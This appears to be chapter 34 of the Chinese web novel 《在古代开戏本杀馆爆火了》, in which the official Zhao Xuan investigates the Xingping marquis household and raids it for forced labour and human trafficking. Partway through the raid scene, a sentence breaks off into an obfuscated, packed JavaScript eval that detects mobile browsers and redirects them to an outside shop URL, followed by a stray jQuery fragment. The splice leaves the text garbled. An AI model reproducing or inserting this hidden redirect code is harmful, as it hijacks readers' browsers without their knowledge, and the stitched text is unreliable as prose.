34. 调查文书

作品:《在古代开戏本杀馆爆火了

    作为河三庭安监使,赵璇领到了第一份从内宫传来的绝密文书。


    通篇看下来全是兴平侯府铺张奢靡之事,赵璇明了,这是叫她要查兴平侯府。


    笔在她手中灵活翻转,她撑起下巴盯着文书。


    能不能查出来兴平侯府,这个暂且放在一边。


    以她的思考方式,出新戏本杀时要站在客人的角度平衡游戏性,画饼时要站在被雇佣者角度计算酬劳所得与前景。


    那么她运作河三庭时,就该先揣测皇帝的意图,狗才信钱少卿那句圣意不可揣测。


    她揣测的就是出题人心思、皇帝的意图。


    兴平侯袭爵于祖父,姓周,祖上有功,没封爵前也是北方大族,这一辈虽没有亮眼的小辈,但余威犹在。


    周家?赵璇想起徽定卫一百夫长便姓周。


    不论如何,这份文书会成为她为河三庭开刃的磨刀石。


    赵璇把文书放置在密库,出门迎面撞上司徒相艳。


    “怎么样?”司徒相艳问的是文书。


    文书细节只有安监使能过目,赵璇直言:“陛下要查兴平侯府。”


    司徒相艳脸色微变,看向武部院门处走动的身影,不多时道:“那有些可惜了,他挺努力。”


    这些天,河三庭一直在办散案旧案。


    细想来,即便办好了也没有多大贡献,不至于让皇帝重启河三庭。


    两人后知后觉,几桩案子只是为真正要做的事打掩护,但也确实借这机会,摸清了徽定卫中哪些人值得培养。


    选人培养这事是司徒相艳想的,要赵璇来,她更想让徽定卫大换血,而不是矮个子里拔高个。


    当然选择大换血她肯定被朝臣弹劾死,第二日上值指不定被从天而降的砚台砸成脑瘫。


    武部两个人一前一后走来,兴平侯幼子领着麾下的什长,“去刑部要的文书都送去文部了,属下现在带两人去并州暗查?”


    这人显得兴致勃勃,也是,毕竟头一回出差,还没吃过苦。


    赵璇很鸡贼没有接话,而是让司徒相艳决定是否真要让兴平侯的幼子离京。


    说不定出差回来后,兴平侯府大变,这人的天也变了。


    欧阳相艳颧骨上有粗粝风沙磨过的痕迹,“你去吧,好好干,争取办好事情。”


    兴平侯的幼子就很高兴地去收拾准备了。


    接下来便是河三庭该如何查兴平侯府,查出问题后又该如何动手,又要兴平侯府动几分。


    赵璇颇为头疼,戏本杀馆热闹一片,她这方小院怨气丛生。


    果然,工作很难快乐。


    拼了,为了戏本杀馆,为了没人再敢祸水东引到她身上。


    吩咐下去的命令不止查兴平侯府,还有其它几个袭爵的世家。


    现在的徽定卫,没法做到不动一点风声,只能多混淆视线。


    不过真给她误打正着,兴平侯府在贪污隐田上远不及其它几个世家。


    兴平侯借幼子在徽定卫中的关系私下打听后,知道不止一家被查,反倒安心下来。


    毕竟明令禁止的事做了点,也有其它大头在前面顶着,肯定轮不上兴平侯府啊。


    赵璇也挺意外,那兴平侯府铺张的钱哪儿来的,总不能是天上掉下来给他府上。


    谢渡安给她倒了杯花茶,“在想什么?”


    “哦,没什么。”赵璇拿盖子轻拂茶水,很有保密精神地没泄露到河三庭外面。


    她把视线放在谢渡安身上,企图暂时将兴平侯府的事抛之脑后。


    不知是不是身体长高了还没适应好,谢渡安坐下后有点儿弓背,靛蓝绸缎顺着他单薄背脊下滑,收紧在他一截细腰上。


    他皮肤瓷白没什么红晕,眼皮半阖,密长羽睫垂落,配着姿势像被冻着了。


    琥珀色的眸子忽然出现,让她心下一跳,怪吓人的。


    “你可以说一点,我还没听过你在河三庭的事,我可以拿命保证我不会说出去。”谢渡安说完,又垂下眼,羽睫一颤一颤像是不安。


    这,赵璇脑中一卡,她现在也是当官的人了,敏感的很呢。


    要是别的人这么对她,那肯定是色诱!是美人计!是腐蚀她的拙劣手段!


    但谢渡安吧,他没理由啊。


    屁也没有的小皇子,要是搁小说里说不定能充当个扮猪吃老虎的背后反派、或莫欺少年穷的男主。


    但这是大晋,她活了十几年,像赵大云和欧阳平这样平民出身当上官的屈指可数。


    更别谢渡安这样没母家没幕僚、身边几个削尖脑袋想上位的兄弟的人。


    赵璇想了想,也不透露河三庭细节,“那你觉得,一个资质平平的读书人,却不断拿出惊世诗文,也没偷也没抢,这人是如何做到的?”


    谢渡安略一思索,话里带着不确定,“如果诗文是别人所作,被读书人提出确无人站出认领,也许这个别人在读书人之下,受读书人迫害不能承认。”


    也是啊,赵璇想,羊毛出在羊身上,既然钱不是借贪污凭空多出来,那么就是在流动中变多。


    比如杀猪盘和庞氏骗局。


    赵璇起身,在谢渡安有点慌乱的目光下走出门,“晚点回来,我要吃薯条,让厨房帮我备着。”


    司徒相艳正练刀,门口快步进来一个赵璇。


    看赵璇表情肯定有事,司徒相艳收起刀,拿过帕子擦汗。


    张枉没听见刃风,也出来了。


    “我真忘记了,之前和华祥银他们谈论到兴平侯府。”赵璇先是抱怨一句,然后同两人道,“查兴平侯府的铺面,就从濯文馆那根线头查起。”


    张枉:“每个都查?”


    “我也帮忙。”赵璇没否认张枉的话。


    文部除了张枉,另外招进来只有两个六十岁放弃秋闱的独身老秀才。


    每个铺面都查工作量很大。


    赵璇减轻了一些,“先只查今年疑有问题的。”


    司徒相艳:“我去徽定卫找几个嘴严的人暗中调查。”


    赵璇绷得很紧,能感觉到后脖子汗毛竖起。


    河三庭如今势力仰仗皇帝,让查哪家,她便只能对付哪家。


    多的也不能干。


    赵璇闭目缓了缓,将另外几家的调查文书封进书库中。


    哎,权衡,唉。


    张枉并非河三庭监文,赵璇没正面同张枉说皇帝要针对兴平侯府。


    他还纳闷怎么抓着兴平侯府不放。


    拿到调查文书后,却缓缓睁大眼,手有些颤抖。


    冬至,寒意从厚重大门的缝隙钻进。


    兴平侯府一家除了幼子在并州,其余人都在府里。


    赵璇呈上折子后等了一小段时日,今日卯时得到陛下的旨意。


    天还未亮全,住在河三庭的司徒相艳驾马而出,调了两百徽定卫。


    冰凉的甲胄覆在身体上,司徒相艳拽着缰绳的手冻得微僵。


    原本出摊的小贩看见这幅场景,立马避开,也有胆大的远远跟着去看。


    赵璇身披墨绿皮毛斗篷,一呼一吸都很凉飕飕。


    兴平侯府的门丁听见耳边有踢踏响声,睁眼不见明亮白日,只看见黑压压一群带着兵刃侍卫样的人朝他走来。


    门丁慌得仰倒在地,“你们是谁?这里可是兴平侯府。”


    赵璇平视前方挥了挥手。


    徽定卫中立刻有人出头,在赵璇注视下敲了门,等人门闩放开后便脾气很坏似的,一脚将府门彻底踹开。


    嗯?我们徽定卫是这个定位吗?


    还有,怎么就默认她是这个行事风格了,上回演讲她不是走的亲民路线吗?


    又有个百夫长带队出来,拔刀示威,封住府邸入口。


    然后冲赵璇点了点头。


    赵璇嘴角抽搐一下。


    司徒相艳瞥了她一眼,下马后上前向惊慌的兴平侯下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907660|191256||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人们出示旨意,“陛下旨意,查封兴平侯府,立刻搜全所有人。”


    晨起的百姓张望这些徽定卫,又眯眼看府邸那块匾。


    兴平侯府!那可是大世家,往南北商船买的珍品和蔬果都比其它世家要多。


    这是干了什么事,引来那么大阵仗?


    司徒相艳侧头,看见越来越多围观的人,皱眉道:“河三庭办事,闲人禁扰,违者必究。”


    这么威风呢。


    安监使赵璇利落下马踏入高门,她是最后一个下马的,百姓自然将她当做这群黑压压的人的老大。


    窃窃私语中看着她转身只留下长马尾荡起一弯月牙似的弧。


    赵璇没绷住,乐出声:“上任三个月,头一回感觉我这安监使当的特帅。”


    后面还跟着一百夫长,“老大小心脚下。”


    地上平整的石板路上,有一块缺了一角。


    为时已晚,赵璇被绊了一下,她已经预感到摔倒后因为无地自容而不断泛红发热的脸。


    不行,绝对不行。


    她的一世英名,今天算大差事可不能落面子。


    赵璇七扭八歪站住后松了口气,抬起头补救般伸手拢了拢不存在的碎发。


    忘了,她今天是高冷、手段狠辣的权臣人设,头发梳得溜光水滑。


    还抹了油来着。


    旁边百夫长识趣地望天望地,她又拢了拢斗篷,不多时,兴平侯府上下全被押到一处。


    张枉来得晚,他看兴平侯府一群人的眼神充满厌恶。


    感觉他下一秒就要拔徽定卫的刀先捅一步。


    在最前面的兴平侯咬牙切齿怒声道:“赵璇!你凭什么缉拿本侯府上的人!”


    赵璇平铺直叙:“错了,我不止拿你府上的人,还拿了你。”


    “这是陛下旨意。”


    兴平侯双目充血,“怎么可能,侯府上下清清白白,你不要血口喷人,蒙蔽陛下。”


    从没见过这么厚颜无耻的人,赵璇弯腰坐在一旁石凳上,对着兴平侯语气平和,“讲道理,侯府贪污隐田的数目在怎么小,也算不上清白二字吧。”


    兴平侯:“我不信陛下因为这点儿就下旨封了兴平侯府,你赵璇也不是没查过别人,为何抓住我不放。”


    这得问陛下啊,赵璇又忍不住感慨。


    不过这回可真不能供出陛下这个“同盟”,要查兴平侯府、查出兴平侯府、向陛下呈兴平侯罪行这一系列事,从头到尾只由河三庭与她赵璇主张。


    差事不好干。


    赵璇看着兴平侯上了年纪耷拉的眼皮,“的确不是因为这点儿小事…”


    顿了顿,她接着说,“封你侯府,斩你全家。”


    话音刚落,兴平侯的亲眷中有人失控发出惊叫声。司徒相艳眯起眼看了她一下。


    兴平侯唰的一下脸色煞白。


    赵璇见兴平侯府话都说不出来了,“罪人周经,祖籍并州,借经营店铺之由广招劳工,以提供宿食为饵将人囚禁,强逼做工,不予酬劳且任由身边仆从打骂致死。”


    兴平侯脸色越发惨白,赵璇安抚道:“不急,还有在并州集结家仆诱骗流民私下进行人口贩卖,这回数目够大了,我这边查到今年就有一千人以上。”


    兴平侯嘴唇发抖,“赵大人…”


    “咱俩就不说别的了,没那么熟哈。”赵璇摇摇手,没什么笑意地弯了弯眼。


    兴平侯视线死死盯着赵璇,清瘦的脸颊显得她不近人情,黑洞洞的眼珠子比即将到来的寒冬还冷冽。


    心中那股气泄得一干二净,兴平侯莫名连最后咬下她一块脸肉的力气都升不起。


    仿佛他只要动一下,便会不明不白死在这里。


    “赵大人,刑部侍郎在门外说要见您。”一个徽定卫跑来和赵璇道。


    脚边的兴平候听见了,眼神清醒几分,活过来似的扑腾身子喊:“金琥,我要见金侍郎,让他进来。”